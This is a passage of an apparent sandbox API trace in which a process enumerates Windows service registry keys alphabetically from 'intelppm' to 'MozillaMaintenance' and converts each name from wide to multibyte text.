(in: hKey=0x13c, dwIndex=0x90, lpName=0x1d92850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0032.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelppm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0032.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelppm", cchWideChar=8, lpMultiByteStr=0x1da4408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intelppm", lpUsedDefaultChar=0x0) returned 8 [0032.737] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x91, lpName=0x1d92850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0032.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipbusenum", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0032.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipbusenum", cchWideChar=9, lpMultiByteStr=0x1da4450, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipbusenum", lpUsedDefaultChar=0x0) returned 9 [0032.738] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x92, lpName=0x1d92850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0032.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipfilterdriver", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0032.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipfilterdriver", cchWideChar=14, lpMultiByteStr=0x1da4408, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipfilterdriver", lpUsedDefaultChar=0x0) returned 14 [0032.738] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x93, lpName=0x1d92850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0032.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iphlpsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0032.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iphlpsvc", cchWideChar=8, lpMultiByteStr=0x1da4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iphlpsvc", lpUsedDefaultChar=0x0) returned 8 [0032.738] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x94, lpName=0x1d92850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0032.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipmidrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0032.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipmidrv", cchWideChar=7, lpMultiByteStr=0x1da4408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipmidrv", lpUsedDefaultChar=0x0) returned 7 [0032.738] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x95, lpName=0x1d92850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0032.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipnat", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0032.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipnat", cchWideChar=5, lpMultiByteStr=0x1da4450, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipnat", lpUsedDefaultChar=0x0) returned 5 [0032.738] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x96, lpName=0x1d92850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0032.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="irenum", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0032.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="irenum", cchWideChar=6, lpMultiByteStr=0x1da4408, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="irenum", lpUsedDefaultChar=0x0) returned 6 [0032.738] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x97, lpName=0x1d92850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0032.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isapnp", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0032.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isapnp", cchWideChar=6, lpMultiByteStr=0x1da4450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="isapnp", lpUsedDefaultChar=0x0) returned 6 [0032.738] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x98, lpName=0x1d92850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0032.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iscsiprt", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0032.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iscsiprt", cchWideChar=8, lpMultiByteStr=0x1da4408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iscsiprt", lpUsedDefaultChar=0x0) returned 8 [0032.738] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x99, lpName=0x1d92850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0032.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdclass", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0032.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdclass", cchWideChar=8, lpMultiByteStr=0x1da4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kbdclass", lpUsedDefaultChar=0x0) returned 8 [0032.739] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x9a, lpName=0x1d92850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0032.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdhid", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0032.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdhid", cchWideChar=6, lpMultiByteStr=0x1da4408, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kbdhid", lpUsedDefaultChar=0x0) returned 6 [0032.739] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x9b, lpName=0x1d92850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0032.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyiso", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0032.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyiso", cchWideChar=6, lpMultiByteStr=0x1da4450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="keyiso", lpUsedDefaultChar=0x0) returned 6 [0032.739] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x9c, lpName=0x1d92850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0032.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecdd", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0032.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecdd", cchWideChar=6, lpMultiByteStr=0x1da4408, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ksecdd", lpUsedDefaultChar=0x0) returned 6 [0032.739] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x9d, lpName=0x1d92850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0032.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecpkg", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0032.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecpkg", cchWideChar=7, lpMultiByteStr=0x1da4450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ksecpkg", lpUsedDefaultChar=0x0) returned 7 [0032.739] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x9e, lpName=0x1d92850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0032.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksthunk", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0032.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksthunk", cchWideChar=7, lpMultiByteStr=0x1da4408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ksthunk", lpUsedDefaultChar=0x0) returned 7 [0032.739] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x9f, lpName=0x1d92850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0032.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ktmrm", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0032.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ktmrm", cchWideChar=5, lpMultiByteStr=0x1da4450, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ktmrm", lpUsedDefaultChar=0x0) returned 5 [0032.739] RegEnumKeyW (in: hKey=0x13c, dwIndex=0xa0, lpName=0x1d92850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0032.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanserver", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0032.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanserver", cchWideChar=12, lpMultiByteStr=0x1da4408, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lanmanserver", lpUsedDefaultChar=0x0) returned 12 [0032.740] RegEnumKeyW (in: hKey=0x13c, dwIndex=0xa1, lpName=0x1d92850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0032.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanworkstation", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0032.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanworkstation", cchWideChar=17, lpMultiByteStr=0x1da4450, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lanmanworkstation", lpUsedDefaultChar=0x0) returned 17 [0032.740] RegEnumKeyW (in: hKey=0x13c, dwIndex=0xa2, lpName=0x1d92850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0032.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ldap", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0032.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ldap", cchWideChar=4, lpMultiByteStr=0x1da4408, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ldap", lpUsedDefaultChar=0x0) returned 4 [0032.740] RegEnumKeyW (in: hKey=0x13c, dwIndex=0xa3, lpName=0x1d92850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0032.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdio", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0032.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdio", cchWideChar=6, lpMultiByteStr=0x1da4450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lltdio", lpUsedDefaultChar=0x0) returned 6 [0032.740] RegEnumKeyW (in: hKey=0x13c, dwIndex=0xa4, lpName=0x1d92850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0032.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdsvc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0032.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdsvc", cchWideChar=7, lpMultiByteStr=0x1da4408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lltdsvc", lpUsedDefaultChar=0x0) returned 7 [0032.740] RegEnumKeyW (in: hKey=0x13c, dwIndex=0xa5, lpName=0x1d92850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0032.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lmhosts", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0032.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lmhosts", cchWideChar=7, lpMultiByteStr=0x1da4450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lmhosts", lpUsedDefaultChar=0x0) returned 7 [0032.740] RegEnumKeyW (in: hKey=0x13c, dwIndex=0xa6, lpName=0x1d92850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0032.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0032.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsa", cchWideChar=3, lpMultiByteStr=0x1da4408, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsa", lpUsedDefaultChar=0x0) returned 3 [0032.740] RegEnumKeyW (in: hKey=0x13c, dwIndex=0xa7, lpName=0x1d92850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0032.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_fc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0032.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_fc", cchWideChar=6, lpMultiByteStr=0x1da4450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_fc", lpUsedDefaultChar=0x0) returned 6 [0032.740] RegEnumKeyW (in: hKey=0x13c, dwIndex=0xa8, lpName=0x1d92850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0032.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0032.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas", cchWideChar=7, lpMultiByteStr=0x1da4408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_sas", lpUsedDefaultChar=0x0) returned 7 [0032.741] RegEnumKeyW (in: hKey=0x13c, dwIndex=0xa9, lpName=0x1d92850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0032.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas2", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0032.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas2", cchWideChar=8, lpMultiByteStr=0x1da4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_sas2", lpUsedDefaultChar=0x0) returned 8 [0032.741] RegEnumKeyW (in: hKey=0x13c, dwIndex=0xaa, lpName=0x1d92850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0032.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_scsi", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0032.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_scsi", cchWideChar=8, lpMultiByteStr=0x1da4408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_scsi", lpUsedDefaultChar=0x0) returned 8 [0032.741] RegEnumKeyW (in: hKey=0x13c, dwIndex=0xab, lpName=0x1d92850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0032.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="luafv", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0032.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="luafv", cchWideChar=5, lpMultiByteStr=0x1da4450, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="luafv", lpUsedDefaultChar=0x0) returned 5 [0032.741] RegEnumKeyW (in: hKey=0x13c, dwIndex=0xac, lpName=0x1d92850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0032.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mcx2svc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0032.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mcx2svc", cchWideChar=7, lpMultiByteStr=0x1da4408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mcx2svc", lpUsedDefaultChar=0x0) returned 7 [0032.741] RegEnumKeyW (in: hKey=0x13c, dwIndex=0xad, lpName=0x1d92850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0032.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasas", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0032.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasas", cchWideChar=7, lpMultiByteStr=0x1da4450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="megasas", lpUsedDefaultChar=0x0) returned 7 [0032.741] RegEnumKeyW (in: hKey=0x13c, dwIndex=0xae, lpName=0x1d92850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0032.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasr", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0032.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasr", cchWideChar=6, lpMultiByteStr=0x1da4408, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="megasr", lpUsedDefaultChar=0x0) returned 6 [0032.741] RegEnumKeyW (in: hKey=0x13c, dwIndex=0xaf, lpName=0x1d92850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0032.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sharepoint workspace audit service", cchWideChar=44, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 44 [0032.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sharepoint workspace audit service", cchWideChar=44, lpMultiByteStr=0x1da4450, cbMultiByte=44, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft sharepoint workspace audit service", lpUsedDefaultChar=0x0) returned 44 [0032.742] RegEnumKeyW (in: hKey=0x13c, dwIndex=0xb0, lpName=0x1d92850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0032.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmcss", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0032.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmcss", cchWideChar=5, lpMultiByteStr=0x1da4408, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmcss", lpUsedDefaultChar=0x0) returned 5 [0032.742] RegEnumKeyW (in: hKey=0x13c, dwIndex=0xb1, lpName=0x1d92850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0032.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="modem", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0032.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="modem", cchWideChar=5, lpMultiByteStr=0x1da4450, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="modem", lpUsedDefaultChar=0x0) returned 5 [0032.742] RegEnumKeyW (in: hKey=0x13c, dwIndex=0xb2, lpName=0x1d92850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0032.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="monitor", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0032.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="monitor", cchWideChar=7, lpMultiByteStr=0x1da4408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="monitor", lpUsedDefaultChar=0x0) returned 7 [0032.742] RegEnumKeyW (in: hKey=0x13c, dwIndex=0xb3, lpName=0x1d92850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0032.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouclass", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0032.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouclass", cchWideChar=8, lpMultiByteStr=0x1da4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mouclass", lpUsedDefaultChar=0x0) returned 8 [0032.742] RegEnumKeyW (in: hKey=0x13c, dwIndex=0xb4, lpName=0x1d92850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0032.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouhid", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0032.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouhid", cchWideChar=6, lpMultiByteStr=0x1da4408, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mouhid", lpUsedDefaultChar=0x0) returned 6 [0032.742] RegEnumKeyW (in: hKey=0x13c, dwIndex=0xb5, lpName=0x1d92850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0032.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mountmgr", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0032.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mountmgr", cchWideChar=8, lpMultiByteStr=0x1da4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mountmgr", lpUsedDefaultChar=0x0) returned 8 [0032.742] RegEnumKeyW (in: hKey=0x13c, dwIndex=0xb6, lpName=0x1d92850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0032.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mozillamaintenance", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 